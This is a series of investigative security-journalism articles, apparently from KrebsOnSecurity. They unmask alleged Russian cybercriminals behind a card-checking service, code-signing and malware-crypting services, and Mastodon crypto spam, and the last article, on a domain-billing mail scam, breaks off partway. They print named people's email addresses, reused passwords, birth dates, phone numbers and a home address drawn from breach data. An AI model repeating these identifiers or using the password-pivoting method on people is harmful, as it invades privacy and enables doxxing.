That document indicates the Liberty Reserve account claimed by MrMurza/AccessApproved — U1018928 — was assigned in 2011 to a “Vadim Panov” who used the email address lesstroy@mgn.ru.

PANOV

Constella Intelligence, a threat intelligence firm that tracks breached databases, says lesstroy@mgn.ru was used for an account “Hackerok” at the accounting service klerk.ru that was created from an Internet address in Magnitogorsk. The password chosen by this user was “1232.”

In addition to selling access to hacked computers and bank accounts, both MrMurza and AccessApproved ran side hustles on the crime forums selling clothing from popular retailers that refused to ship directly to Russia.

On one cybercrime forum where AccessApproved had clothing customers, denizens of the forum created a lengthy discussion thread to help users identify incoming emails associated with various reshipping services advertised within their community. Reshippers tend to rely on a large number of people in the United States and Europe helping to forward packages overseas, but in many cases the notifications about purchases and shipping details would be forwarded to reshipping service customers from a consistent email account.

That thread said AccessApproved’s clothing reshipping service forwarded confirmation emails from the address panov-v@mail.ru. This address is associated with accounts on two Russian cybercrime forums registered from Magnitogorsk in 2010 using the handle “Omega^gg4u.”

This Omega^gg4u identity sold software that can rapidly check the validity of large batches of stolen credit cards. Interestingly, both Omega^gg4u and AccessApproved also had another niche: Reselling heavily controlled substances — such as human growth hormone and anabolic steroids — from chemical suppliers in China.

A search in Constella on the address panov-v@mail.ru and many variations on that address shows these accounts cycled through the same passwords, including 055752403k, asus666, 01091987h, and the relatively weak password 1232 (recall that 1232 was picked by whoever registered the lesstroy@mgn.ru account at Klerk.ru).

Constella says the email address asus666@yandex.ru relied on the passwords asus666 and 01091987h. The 01091987h password also was used by asus666@mail.ru, which also favored the password 24587256.

Constella further reports that whoever owned the much shorter address asus@mail.ru also used the password 24587256. In addition, it found the password 2318922479 was tied to both asus666@mail.ru and asus@mail.ru.

The email addresses asus@mail.ru, asus2504@mail.ru, and zaxar2504@rambler.ru were all used to register Vkontakte social media accounts for a Denis ***@VIP*** Pankov. There are a number of other Vkontakte accounts registered to asus@mail.ru and many variations of this address under a different name. But none of those other profiles appear tied to real-life identities.

PANKOV

Constella’s data shows the email addresses asus2504@mail.ru and zaxar2504@rambler.ru used the rather unique password denis250485, which was also used by the email address denispankov@yandex.ru and almost a dozen variations at other Russian-language email providers.

Russian vehicle registration records from 2016 show the email address denispankov@yandex.ru belongs to Denis Viktorovich Pankov, born on April 25, 1985. That explains the “250485” portion of Pankov’s favored password. The registration records further indicate that in 2016 Pankov’s vehicle was registered in a suburb of Moscow.

Russian incorporation records show that denispankov@yandex.com is tied to IP Pankov Denis Viktorovich, a now-defunct transportation company in the Volograd Oblast, a region in southern Russia that shares a long border with western Kazazkhstan.

More recent records for IP Pankov Denis Viktorovich show a microenterprise with this name in Omsk that described its main activity as “retail sale by mail or via the Internet.” Russian corporate records indicate this entity was liquidated in 2021.

A reverse password search on “denis250485” via Constella shows this password was used by more than 75 email addresses, most of which are some variation of gaihnik@mail.ru — such as gaihnik25@mail.ru, or gaihnik2504@rambler.ru.

In 2012, someone posted answers to a questionnaire on behalf of Denis Viktorovich Pankov to a Russian-language discussion forum on Chinese crested dog breeds. The message said Pankov was seeking a puppy of a specific breed and was a resident of Krasnogorsk, a city that is adjacent to the northwestern boundary of Moscow.

The message said Pankov was a then 27-year-old manager in an advertising company, and could be reached at the email address gaihnik@mail.ru.

GAIHNIK

Constella Intelligence shows gaihnik@mail.ru registered at the now-defunct email marketing service Smart Responder from an address in Gagarin, which is about 115 miles west of Moscow.

Back in 2015, the user Gaihnik25 was banned from the online game World of Tanks for violating the game’s terms that prohibit “bot farming,” or the automated use of large numbers of player accounts to win some advantage that is usually related to cashing out game accounts or inventory.

For the past few years, someone using the nickname Gaihnik25 has been posting messages to the Russian-language hacking forum Gerki[.]pw, on discussion threads regarding software designed to “brute force” or mass-check online accounts for weak or compromised passwords.

A new member of the Russian hacking forum Nohide[.]Space using the handle Gaihnik has been commenting recently about proxy services, credential checking software, and the sale of hacked mailing lists. Gaihnik’s first post on the forum concerned private software for checking World of Tanks accounts.

The address gaihnik@mail.ru shows how so many email addresses tied to Pankov were also connected to apparently misleading identities on Vkontakte and elsewhere. Constella found this address was tied to a Vkontakte account for a Dmitriy Zakarov.

Microsoft’s Bing search engine says gaihnik@mail.ru belongs to 37-year-old Denis Pankov, yet clicking the Mail.ru profile for that user brings up a profile for a much older man by the name Gavril Zakarov. However, when you log in to a Mail.ru account and view that profile, it shows that most of the account’s profile photos are of a much younger man.

Many of those same photos show up in an online dating profile at dating.ru for the user Gaihnik, a.k.a “Denchik,” who says he is a 37-year-old Taurus from Gagarin who enjoys going for walks in nature, staying up late, and being on the Internet.

Mr. Pankov did not respond to multiple requests for comment sent to all of the email addresses mentioned in this story. However, some of those addresses produced detailed error responses; Mail.ru reported that the users panov-v@mail.ru, asus666@mail.ru, and asus2504@mail.ru were terminated, and that gaihnik25@mail.ru is now disabled.

Messages sent to many other email addresses connected via passwords to Pankov and using some variation of asus####@mail.ru also returned similar account termination messages.

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$10M Is Yours If You Can Get This Guy to Leave Russia

The U.S. government this week put a $10 million bounty on a Russian man who for the past 18 years operated Try2Check, one of the cybercrime underground’s most trusted services for checking the validity of stolen credit card data. U.S. authorities say 43-year-old Denis Kulkov‘s card-checking service made him at least $18 million, which he used to buy a Ferrari, Land Rover, and other luxury items.

Launched in 2005, Try2Check soon was processing more than a million card-checking transactions per month — charging 20 cents per transaction. Cybercriminals turned to services like this after purchasing stolen credit card data from an underground shop, with an eye toward minimizing the number of cards that are inactive by the time they are put to criminal use.

Try2Check was so reliable that it eventually became the official card-checking service for some of the underground’s most bustling crime bazaars, including Vault Market, Unicc, and Joker’s Stash. Customers of these carding shops who chose to use the shop’s built-in (but a-la-carte) card checking service from Try2Check could expect automatic refunds on any cards that were found to be inactive or canceled at the time of purchase.

Many established stolen card shops will allow customers to request refunds on dead cards based on official reports from trusted third-party checking services. But in general, the bigger shops have steered customers toward using their own white-labeled version of the Try2Check service — primarily to help minimize disputes over canceled cards.

On Wednesday, May 3, Try2Check’s websites were replaced with a domain seizure notice from the U.S. Secret Service and U.S. Department of Justice, as prosecutors in the Eastern District of New York unsealed an indictment and search warrant naming Denis Gennadievich Kulkov of Samara, Russia as the proprietor.

At the same time, the U.S. Department of State issued a $10 million reward for information leading to the arrest or conviction of Kulkov. In November 2021, the State Department began offering up to to $10 million for the name or location of any key leaders of REvil, a major Russian ransomware gang.

As noted in the Secret Service’s criminal complaint (PDF), the Try2Check service was first advertised on the closely-guarded Russian cybercrime forum Mazafaka, by someone using the handle “KreenJo.” That handle used the same ICQ instant messenger account number (555724) as a Mazafaka denizen named “Nordex.”

In February 2005, Nordex posted to Mazafaka that he was in the market for hacked bank accounts, and offered 50 percent of the take. He asked interested partners to contact him at the ICQ number 228427661 or at the email address polkas@bk.ru. As the government noted in its search warrant, Nordex exchanged messages with forum users at the time identifying himself as a then-24-year-old “Denis” from Samara, RU.

In 2017, U.S. law enforcement seized the cryptocurrency exchange BTC-e, and the Secret Service said those records show that a Denis Kulkov from Samara supplied the username “Nordexin,” email address nordexin@ya.ru, and an address in Samara.

Investigators had already found Instagram accounts where Kulkov posted pictures of his Ferrari and his family. Authorities were able to identify that Kulkov had an iCloud account tied to the address nordexin@icloud.com, and upon subpoenaing that found passport photos of Kulkov, and well as more photos of his family and pricey cars.

Like many other top cybercriminals based in Russia or in countries with favorable relations to the Kremlin, the proprietor of Try2Check was not particularly difficult to link to a real-life identity. In Kulkov’s case, it no doubt was critical to U.S. investigators that they had access to a wealth of personal information tied to a cryptocurrency exchange Kulkov had used.

However, the link between Kulkov and Try2Check can be made — ironically — based on records that have been plundered by hackers and published online over the years — including Russian email services, Russian government records, and hacked cybercrime forums.

NORDEX

According to cybersecurity firm Constella Intelligence, the address polkas@bk.ru was used to register an account with the username “Nordex” at bankir[.]com, a now defunct news website that was almost standard reading for Russian speakers interested in news about various Russian financial markets.

Nordex appears to have been a finance nerd. In his early days on the forums, Nordex posted several long threads on his views about the Russian stock market and mutual fund investments.

That Bankir account was registered from the Internet address 193.27.237.66 in Samara, Russia, and included Nordex’s date of birth as April 8, 1980, as well as their ICQ number (228427661).

Cyber intelligence firm Intel 471 found that Internet address also was used to register the account “Nordex” on the Russian hacking forum Exploit back in 2006.

Constella tracked another Bankir[.]com account created from that same Internet address under the username “Polkas.” This account had the same date of birth as Nordex, but a different email address: nordia@yandex.ru. This and other “nordia@” emails shared a password: “anna59.”

NORDIA

Nordia@yandex.ru shares several passwords with nordia@list.ru, which Constella says was used to create an account at a religious website for an Anna Kulikova from Samara. At the Russian home furnishing store Westwing.ru, Ms. Kulikova listed her full name as Anna Vnrhoturkina Kulikova, and her address as 29 Kommunistrecheskya St., Apt. 110.

A search on that address in Constella brings up a record for an Anna Denis Vnrhoturkina Kulkov, and the phone number 879608229389.

Russian vehicle registration records have also been hacked and leaked online over the years. Those records show that Anna’s Apt 110 address is tied to a Denis Gennadyvich Kulkov, born April 8, 1980.

The vehicle Kolkov registered in 2015 at that address was a 2010 Ferrari Italia, with the license plate number K022YB190. The phone number associated with this record — 79608229389 — is exactly like Anna’s, only minus the (mis?)leading “8”. That number also is tied to a now-defunct Facebook account, and to the email addresses nordexin@ya.ru and nordexin@icloud.com.

Kulkov’s Ferrari has been photographed numerous times over the years by Russian car aficionados, including this one with the driver’s face redacted by the photographer:

As the title of this story suggests, the hard part for Western law enforcement isn’t identifying the Russian cybercriminals who are major players in the scene. Rather, it’s finding creative ways to capture high-value suspects if and when they do leave the protection that Russia generally extends to domestic cybercriminals within its borders who do not also harm Russian companies or consumers, or interfere with state interests.

But Russia’s war against Ukraine has caused major fault lines to appear in the cybercrime underground: Cybercriminal syndicates that previously straddled Russia and Ukraine with ease were forced to reevaluate many comrades who were suddenly working for The Other Side.

Many cybercriminals who operated with impunity from Russia and Ukraine prior to the war chose to flee those countries following the invasion, presenting international law enforcement agencies with rare opportunities to catch most-wanted cybercrooks. One of those was Mark Sokolovsky, a 26-year-old Ukrainian man who operated the popular “Raccoon” malware-as-a-service offering; Sokolovsky was apprehended in March 2022 after fleeing Ukraine’s mandatory military service orders.

Also nabbed on the lam last year was Vyacheslav “Tank” Penchukov, a senior Ukrainian member of a transnational cybercrime group that stole tens of millions of dollars over nearly a decade from countless hacked businesses. Penchukov was arrested after leaving Ukraine to meet up with his wife in Switzerland.

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Interview With a Crypto Scam Investment Spammer

Social networks are constantly battling inauthentic bot accounts that send direct messages to users promoting scam cryptocurrency investment platforms. What follows is an interview with a Russian hacker responsible for a series of aggressive crypto spam campaigns that recently prompted several large Mastodon communities to temporarily halt new registrations. According to the hacker, their spam software has been in private use until the last few weeks, when it was released as open source code.

Renaud Chaput is a freelance programmer working on modernizing and scaling the Mastodon project infrastructure — including joinmastodon.org, mastodon.online, and mastodon.social. Chaput said that on May 4, 2023, someone unleashed a spam torrent targeting users on these Mastodon communities via “private mentions,” a kind of direct messaging on the platform.

The messages said recipients had earned an investment credit at a cryptocurrency trading platform called moonxtrade[.]com. Chaput said the spammers used more than 1,500 Internet addresses across 400 providers to register new accounts, which then followed popular accounts on Mastodon and sent private mentions to the followers of those accounts.

Since then, the same spammers have used this method to advertise more than 100 different crypto investment-themed domains. Chaput said that at one point this month the volume of bot accounts being registered for the crypto spam campaign started overwhelming the servers that handle new signups at Mastodon.social.

“We suddenly went from like three registrations per minute to 900 a minute,” Chaput said. “There was nothing in the Mastodon software to detect that activity, and the protocol is not designed to handle this.”

Seeking to gain a temporary handle on the spam wave, Chaput said he briefly disabled new account registrations on mastodon.social and mastondon.online. Shortly after that, those same servers came under a sustained distributed denial-of-service (DDoS) attack.

Chaput said whoever was behind the DDoS was definitely not using point-and-click DDoS tools, like a booter or stresser service.

“This was three hours non-stop, 200,000 to 400,000 requests per second,” Chaput said of the DDoS. “At first, they were targeting one path, and when we blocked that they started to randomize things. Over three hours the attack evolved several times.”

Chaput says the spam waves have died down since they retrofitted mastodon.social with a CAPTCHA, those squiggly letter and number combinations designed to stymie automated account creation tools. But he’s worried that other Mastodon instances may not be as well-staffed and might be easy prey for these spammers.

“We don’t know if this is the work of one person, or if this is [related to] software or services being sold to others,” Chaput told KrebsOnSecurity. “We’re really impressed by the scale of it — using hundreds of domains and thousands of Microsoft email addresses.”

Chaput said a review of their logs indicates many of the newly registered Mastodon spam accounts were registered using the same 0auth credentials, and that a domain common to those credentials was quot[.]pw.

A DIRECT QUOT

The domain quot[.]pw has been registered and abandoned by several parties since 2014, but the most recent registration data available through DomainTools.com shows it was registered in March 2020 to someone in Krasnodar, Russia with the email address edgard011012@gmail.com.

This email address is also connected to accounts on several Russian cybercrime forums, including “__edman__,” who had a history of selling “logs” — large amounts of data stolen from many bot-infected computers — as well as giving away access to hacked Internet of Things (IoT) devices.

In September 2018, a user by the name “ципа” (phonetically “Zipper” in Russian) registered on the Russian hacking forum Lolzteam using the edgard0111012@gmail.com address. In May 2020, Zipper told another Lolzteam member that quot[.]pw was their domain. That user advertised a service called “Quot Project” which said they could be hired to write programming scripts in Python and C++.

“I make Telegram bots and other rubbish cheaply,” reads one February 2020 sales thread from Zipper.

Clicking the “open chat in Telegram” button on Zipper’s Lolzteam profile page launched a Telegram instant message chat window where the user Quotpw responded almost immediately. Asked if they were aware their domain was being used to manage a spam botnet that was pelting Mastodon instances with crypto scam spam, Quotpw confirmed the spam was powered by their software.

“It was made for a limited circle of people,” Quotpw said, noting that they recently released the bot software as open source on GitHub.

Quotpw went on to say the spam botnet was powered by well more than the hundreds of IP addresses tracked by Chaput, and that these systems were mostly residential proxies. A residential proxy generally refers to a computer or mobile device running some type of software that enables the system to be used as a pass-through for Internet traffic from others.

Very often, this proxy software is installed surreptitiously, such as through a “Free VPN” service or mobile app. Residential proxies also can refer to households protected by compromised home routers running factory-default credentials or outdated firmware.

Quotpw maintains they have earned more than $2,000 sending roughly 100,000 private mentions to users of different Mastodon communities over the past few weeks. Quotpw said their conversion rate for the same bot-powered direct message spam on Twitter is usually much higher and more profitable, although they conceded that recent adjustments to Twitter’s anti-bot CAPTCHA have put a crimp in their Twitter earnings.

“My partners (I’m programmer) lost time and money while ArkoseLabs (funcaptcha) introduced new precautions on Twitter,” Quotpw wrote in a Telegram reply. “On Twitter, more spam and crypto scam.”

Asked whether they felt at all conflicted about spamming people with invitations to cryptocurrency scams, Quotpw said in their hometown “they pay more for such work than in ‘white’ jobs” — referring to legitimate programming jobs that don’t involve malware, botnets, spams and scams.

“Consider salaries in Russia,” Quotpw said. “Any spam is made for profit and brings illegal money to spammers.”

THE VIENNA CONNECTION

Shortly after edgard011012@gmail.com registered quot[.]pw, the WHOIS registration records for the domain were changed again, to msr-sergey2015@yandex.ru, and to a phone number in Austria: +43.6607003748.

Constella Intelligence, a company that tracks breached data, finds that the address msr-sergey2015@yandex.ru has been associated with accounts at the mobile app site aptoide.com (user: CoolappsforAndroid) and vimeworld.ru that were created from different Internet addresses in Vienna, Austria.

A search in Skype on that Austrian phone number shows it belongs to a Sergey Proshutinskiy who lists his location as Vienna, Austria. The very first result that comes up when one searches that unusual name in Google is a LinkedIn profile for a Sergey Proshutinskiy from Vienna, Austria.

Proshutinskiy’s LinkedIn profile says he is a Class of 2024 student at TGM, which is a state-owned, technical and engineering school in Austria. His resume also says he is a data science intern at Mondi Group, an Austrian manufacturer of sustainable packaging and paper.

Mr. Proshutinskiy did not respond to requests for comment.

Quotpw denied being Sergey, and said Sergey was a friend who registered the domain as a birthday present and favor last year.

“Initially, I bought it for 300 rubles,” Quotpw explained. “The extension cost 1300 rubles (expensive). I waited until it expired and forgot to buy it. After that, a friend (Sergey) bought [the] domain and transferred access rights to me.”

“He’s not even an information security specialist,” Quotpw said of Sergey. “My friends do not belong to this field. None of my friends are engaged in scams or other black [hat] activities.”

It may seem unlikely that someone would go to all this trouble to spam Mastodon users over several weeks using an impressive number of resources — all for just $2,000 in profit. But it is likely that whoever is actually running the various crypto scam platforms advertised by Quotpw’s spam messages pays handsomely for any investments generated by their spam.

According to the FBI, financial losses from cryptocurrency investment scams dwarfed losses for all other types of cybercrime in 2022, rising from $907 million in 2021 to $2.57 billion last year.

Update, May 25, 10:30 a.m.:  Corrected attribution of the Austrian school TGM.

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Ask Fitis, the Bear: Real Crooks Sign Their Malware

Code-signing certificates are supposed to help authenticate the identity of software publishers, and provide cryptographic assurance that a signed piece of software has not been altered or tampered with. Both of these qualities make stolen or ill-gotten code-signing certificates attractive to cybercriminal groups, who prize their ability to add stealth and longevity to malicious software. This post is a deep dive on “Megatraffer,” a veteran Russian hacker who has practically cornered the underground market for malware focused code-signing certificates since 2015.

A review of Megatraffer’s posts on Russian crime forums shows this user began peddling individual stolen code-signing certs in 2015 on the Russian-language forum Exploit, and soon expanded to selling certificates for cryptographically signing applications and files designed to run in Microsoft Windows, Java, Adobe AIR, Mac and Microsoft Office.

Megatraffer explained that malware purveyors need a certificate because many antivirus products will be far more interested in unsigned software, and because signed files downloaded from the Internet don’t tend to get blocked by security features built into modern web browsers. Additionally, newer versions of Microsoft Windows will complain with a bright yellow or red alert message if users try to install a program that is not signed.

“Why do I need a certificate?” Megatraffer asked rhetorically in their Jan. 2016 sales thread on Exploit. “Antivirus software trusts signed programs more. For some types of software, a digital signature is mandatory.”

At the time, Megatraffer was selling unique code-signing certificates for $700 apiece, and charging more than twice that amount ($1,900) for an “extended validation” or EV code-signing cert, which is supposed to only come with additional identity vetting of the certificate holder. According to Megatraffer, EV certificates were a “must-have” if you wanted to sign malicious software or hardware drivers that would reliably work in newer Windows operating systems.

Megatraffer has continued to offer their code-signing services across more than a half-dozen other Russian-language cybercrime forums, mostly in the form of sporadically available EV and non-EV code-signing certificates from major vendors like Thawte and Comodo.

More recently, it appears Megatraffer has been working with ransomware groups to help improve the stealth of their malware. Shortly after Russia invaded Ukraine in February 2022, someone leaked several years of internal chat logs from the Conti ransomware gang, and those logs show Megatraffer was working with the group to help code-sign their malware between July and October 2020.

WHO IS MEGATRAFFER?

According to cyber intelligence firm Intel 471, Megatraffer has been active on more than a half-dozen crime forums from September 2009 to the present day. And on most of these identities, Megatraffer has used the email address 774748@gmail.com. That same email address also is tied to two forum accounts for a user with the handle “O.R.Z.”

Constella Intelligence, a company that tracks exposed databases, finds that 774748@gmail.com was used in connection with just a handful of passwords, but most frequently the password “featar24“. Pivoting off of that password reveals a handful of email addresses, including akafitis@gmail.com.

Intel 471 shows akafitis@gmail.com was used to register another O.R.Z. user account — this one on Verified[.]ru in 2008. Prior to that, akafitis@gmail.com was used as the email address for the account “Fitis,” which was active on Exploit between September 2006 and May 2007. Constella found the password “featar24” also was used in conjunction with the email address spampage@yandex.ru, which is tied to yet another O.R.Z. account on Carder[.]su from 2008.

The email address akafitis@gmail.com was used to create a Livejournal blog profile named Fitis that has a large bear as its avatar. In November 2009, Fitis wrote, “I am the perfect criminal. My fingerprints change beyond recognition every few days. At least my laptop is sure of it.”

Fitis’s real-life identity was exposed in 2010 after two of the biggest sponsors of pharmaceutical spam went to war with each other, and large volumes of internal documents, emails and chat records seized from both spam empires were leaked to this author. That protracted and public conflict formed the backdrop of my 2014 book — “Spam Nation: The Inside Story of Organized Cybercrime, from Global Epidemic to Your Front Door.”

One of the leaked documents included a Microsoft Excel spreadsheet containing the real names, addresses, phone numbers, emails, street addresses and WebMoney addresses for dozens of top earners in Spamit — at the time the most successful pharmaceutical spam affiliate program in the Russian hacking scene and one that employed most of the top Russian botmasters.

That document shows Fitis was one of Spamit’s most prolific recruiters, bringing more than 75 affiliates to the Spamit program over several years prior to its implosion in 2010 (and earning commissions on any future sales from all 75 affiliates).

The document also says Fitis got paid using a WebMoney account that was created when its owner presented a valid Russian passport for a Konstantin Evgenievich Fetisov, born Nov. 16, 1982 and residing in Moscow. Russian motor vehicle records show two different vehicles are registered to this person at the same Moscow address.

The most interesting domain name registered to the email address spampage@yahoo.com, fittingly enough, is fitis[.]ru, which DomainTools.com says was registered in 2005 to a Konstantin E. Fetisov from Moscow.

The Wayback Machine at archive.org has a handful of mostly blank pages indexed for fitis[.]ru in its early years, but for a brief period in 2007 it appears this website was inadvertently exposing all of its file directories to the Internet.

One of the exposed files — Glavmed.html — is a general invitation to the infamous Glavmed pharmacy affiliate program, a now-defunct scheme that paid tens of millions of dollars to affiliates who advertised online pill shops mainly by hacking websites and manipulating search engine results. Glavmed was operated by the same Russian cybercriminals who ran the Spamit program.

Archive.org shows the fitis[.]ru webpage with the Glavmed invitation was continuously updated with new invite codes. In their message to would-be Glavmed affiliates, the program administrator asked applicants to contact them at the ICQ number 165540027, which Intel 471 found was an instant messenger address previously used by Fitis on Exploit.

The exposed files in the archived version of fitis[.]ru include source code for malicious software, lists of compromised websites used for pharmacy spam, and a handful of what are apparently personal files and photos. Among the photos is a 2007 image labeled merely “fitis.jpg,” which shows a bespectacled, bearded young man with a ponytail standing next to what appears to be a newly-married couple at a wedding ceremony.

Mr. Fetisov did not respond to requests for comment.

As a veteran organizer of affiliate programs, Fitis did not waste much time building a new moneymaking collective after Spamit closed up shop. New York City-based cyber intelligence firm Flashpoint found that Megatraffer’s ICQ was the contact number for Himba[.]ru, a cost-per-acquisition (CPA) program launched in 2012 that paid handsomely for completed application forms tied to a variety of financial instruments, including consumer credit cards, insurance policies, and loans.

“Megatraffer’s entrenched presence on cybercrime forums strongly suggests that malicious means are used to source at least a portion of traffic delivered to HIMBA’s advertisers,” Flashpoint observed in a threat report on the actor.

Intel 471 finds that Himba was an active affiliate program until around May 2019, when it stopping paying its associates.

Flashpoint notes that in September 2015, Megatraffer posted a job ad on Exploit seeking experienced coders to work on browser plugins, installers and “loaders” — basically remote access trojans (RATs) that establish communication between the attacker and a compromised system.

“The actor specified that he is looking for full-time, onsite help either in his Moscow or Kiev locations,” Flashpoint wrote.

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Why Malware Crypting Services Deserve More Scrutiny

If you operate a cybercrime business that relies on disseminating malicious software, you probably also spend a good deal of time trying to disguise or “crypt” your malware so that it appears benign to antivirus and security products. In fact, the process of “crypting” malware is sufficiently complex and time-consuming that most serious cybercrooks will outsource this critical function to a handful of trusted third parties. This story explores the history and identity behind Cryptor[.]biz, a long-running crypting service that is trusted by some of the biggest names in cybercrime.

Virtually all malware that is deployed for use in data stealing at some point needs to be crypted. This highly technical, laborious process involves iteratively altering the appearance and behavior of a malicious file until it no longer sets off alarm bells when scanned by different antivirus tools.

Experienced malware purveyors understand that if they’re not continuously crypting their malware before sending it out, then a lot more of whatever digital disease they are trying to spread is going to get flagged by security tools. In short, if you are running a cybercrime enterprise and you’re not equipped to handle this crypting process yourself, you probably need to pay someone else to do it for you.

Thanks to the high demand for reliable crypting services, there are countless cybercriminals who’ve hung out their shingles as crypting service providers. However, most of these people do not appear to be very good at what they do, because most are soon out of business.

One standout is Cryptor[.]biz. This service is actually recommended by the purveyors of the RedLine information stealer malware, which is a popular and powerful malware kit that specializes in stealing victim data and is often used to lay the groundwork for ransomware attacks. Cryptor[.]biz also has been recommended to customers of the Vidar information stealer malware family (via the malware’s Telegram support channels).

WHO RUNS CRYPTOR[.]BIZ?

As good as Cryptor[.]biz may be at obfuscating malware, its proprietor does not appear to have done a great job covering his own tracks. The registration records for the website Cryptor[.]biz are hidden behind privacy protection services, but the site’s homepage says potential customers should register by visiting the domain crypt[.]guru, or by sending a Jabber instant message to the address “masscrypt@exploit.im.”

Crypt[.]guru’s registration records also are hidden, yet passive domain name system (DNS) records for both cryptor[.]biz and crypt[.]guru show that in 2018 the domains were forwarding incoming email to the address obelisk57@gmail.com.

Cyber intelligence firm Intel 471 reports that obelisk57@gmail.com was used to register an account on the forum Blacksoftware under the nickname “Kerens.” Meanwhile, the Jabber address masscrypt@exploit.im has been associated with the user Kerens on the Russian hacking forum Exploit from 2011 to the present day.

The very first post by Kerens on Exploit in 2011 was a negative review of a popular crypting service that predated Cryptor[.]biz called VIP Crypt, which Kerens accused of being “shitty” and unreliable. But Intel 471 finds that after his critical review of VIP Crypt, Kerens did not post publicly on Exploit again for another four years until October 2016, when they suddenly began advertising Cryptor[.]biz.

Intel 471 found that Kerens used the email address pepyak@gmail.com, which also was used to register Kerens accounts on the Russian language hacking forums Verified and Damagelab.

Ironically, Verified has itself been hacked multiple times over the years, with its private messages and user registration details leaked online. Those records indicate the user Kerens registered on Verified in March 2009 from an Internet address in Novosibirsk, a city in the southern Siberian region of Russia.

In 2010, someone with the username Pepyak on the Russian language affiliate forum GoFuckBiz[.]com shared that they typically split their time during the year between living in Siberia (during the milder months) and Thailand (when Novosibirsk is typically -15 °C/°5F).

For example, in one conversation about the best car to buy for navigating shoddy roads, Pepyak declared, “We have shitty roads in Siberia.” In January 2010, Pepyak asked the GoFuckBiz community where one might find a good USB-based modem in Phuket, Thailand.

DomainTools.com says the email address pepyak@gmail.com was used to register 28 domain names over the years, including a now-defunct Russian automobile sales website called “autodoska[.]biz.” DomainTools shows this website was registered in 2008 to a Yuri Churnov from Sevastpol, Crimea (prior to Russia’s annexation of Crimea in 2014, the peninsula was part of Ukraine).

The WHOIS records for autodoska[.]biz were changed in 2010 to Sergey Purtov (pepyak@gmail.com) from Yurga, a town in Russia’s Kemerovo Oblast, which is a relatively populous area in Western Siberia that is adjacent to Novosibirsk.

Many of the 28 domains registered to pepyak@gmail.com have another email address in their registration records: unforgiven57@mail.ru. According to DomainTools, the Unforgiven email address was used to register roughly a dozen domains, including three that were originally registered to Keren’s email address — pepyak@gmail.com (e.g., antivirusxp09[.]com).

One of the domains registered in 2006 to the address unforgiven57@mail.ru was thelib[.]ru, which for many years was a place to download pirated e-books. DomainTools says thelib[.]ru was originally registered to a Sergey U Purtov.

Most of the two-dozen domains registered to pepyak@gmail.com shared a server at one point with a small number of other domains, including mobile-soft[.]su, which was registered to the email address spurtov@gmail.com.

CDEK, an express delivery company based in Novosibirsk, was apparently hacked at some point because cyber intelligence firm Constella Intelligence found that its database shows the email address spurtov@gmail.com was assigned to a Sergey Yurievich Purtov (Сергей Юрьевич Пуртов).

DomainTools says the same phone number in the registration records for autodoska[.]biz (+7.9235059268) was used to secure two other domains — bile[.]ru and thelibrary[.]ru, both of which were registered to a Sergey Y Purtov.

A search on the phone number 79235059268 in Skype reveals these digits belong to a “Sergey” from Novosibirsk with the now-familiar username  — Pepyak.

Bringing things full circle, Constella Intelligence shows that various online accounts tied to the email address unforgiven57@mail.ru frequently relied on the somewhat unique password, “plk139t51z.” Constella says that same password was used for just a handful of other email addresses, including gumboldt@gmail.com.

Hacked customer records from CDEK show gumboldt@gmail.com was tied to a customer named Sergey Yurievich Purtov. DomainTools found that virtually all of the 15 domain names registered to gumboldt@gmail.com (including the aforementioned mobile-soft[.]su) were at one point registered to spurtov@gmail.com.

Intel 471 reports that gumboldt@gmail.com was used in 2009 to register a user by the nickname “Kolumb” on the Russian hacking forum Antichat. From Kolumb’s posts on Antichat, it seems this user was mostly interested in buying access to compromised computers inside of Russia.

Then in December 2009, Kolumb said they were in desperate need of a reliable crypting service or full-time cryptor.

“We need a person who will crypt software every day, sometimes even a couple of times a day,” Kolumb wrote on Antichat.

Mr. Purtov did not respond to requests for comment sent to any of the email addresses referenced in this report. Mail.ru responded that the email address spurtov@mail.ru is no longer active.

ANALYSIS

As KrebsOnSecurity opined on Mastodon earlier this week, it makes a lot of sense for cybersecurity researchers and law enforcement alike to focus attention on the top players in the crypting space — for several reasons. Most critically, the cybercriminals offering time-tested crypting services also tend to be among the most experienced and connected malicious coders on the planet.

Think of it this way: By definition, a crypting service scans and examines all types of malware before those new nasties are first set loose in the wild. This fact alone should make these criminal enterprises a primary target of cybersecurity firms looking to gain more timely intelligence about new malware.

Also, a review of countless posts and private messages from Pepyak and other crypting providers shows that a successful crypting service will have direct and frequent contact with some of the world’s most advanced malware authors.

In short, infiltrating or disrupting a trusted crypting service can be an excellent way to slow down or even sideline a large number of cybercrime operations all at once.

Further reading on the crypting industry:

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Who’s Behind the DomainNetworks Snail Mail Scam?

If you’ve ever owned a domain name, the chances are good that at some point you’ve received a snail mail letter which appears to be a bill for a domain or website-related services. In reality, these misleading missives try to trick people into paying for useless services they never ordered, don’t need, and probably will never receive. Here’s a look at the most recent incarnation of this scam — DomainNetworks — and some clues about who may be behind it.

The DomainNetworks mailer may reference a domain that is or was at one point registered to your name and address. Although the letter includes the words “marketing services” in the upper right corner, the rest of the missive is deceptively designed to look like a bill for services already rendered.

DomainNetworks claims that listing your domain with their promotion services will result in increased traffic to your site. This is a dubious claim for a company that appears to be a complete fabrication, as we’ll see in a moment.  But happily, the proprietors of this enterprise were not so difficult to track down.

The website Domainnetworks[.]com says it is a business with a post office box in Hendersonville, N.C., and another address in Santa Fe, N.M. There are a few random, non-technology businesses tied to the phone number listed for the Hendersonville address, and the New Mexico address was used by several no-name web hosting companies.

However, there is little connected to these addresses and phone numbers that get us any closer to finding out who’s running Domainnetworks[.]com. And neither entity appears to be an active, official company in their supposed state of residence, at least according to each state’s Secretary of State database.

The Better Business Bureau listing for DomainNetworks gives it an “F” rating, and includes more than 100 reviews by people angry at receiving one of these scams via snail mail. Helpfully, the BBB says DomainNetworks previously operated under a different name: US Domain Authority LLC.

Copies of snail mail scam letters from US Domain Authority posted online show that this entity used the domain usdomainauthority[.]com, registered in May 2022. The Usdomainauthority mailer also featured a Henderson, NC address, albeit at a different post office box.

Usdomainauthority[.]com is no longer online, and the site seems to have blocked its pages from being indexed by the Wayback Machine at archive.org. But searching on a long snippet of text from DomainNetworks[.]com about refund requests shows that this text was found on just one other active website, according to publicwww.com, a service that indexes the HTML code of existing websites and makes it searchable.

That other website is a domain registered in January 2023 called thedomainsvault[.]com, and its registration details are likewise hidden behind privacy services. Thedomainsvault’s “Frequently Asked Questions” page is quite similar to the one on the DomainNetworks website; both begin with the question of why the company is sending a mailer that looks like a bill for domain services.

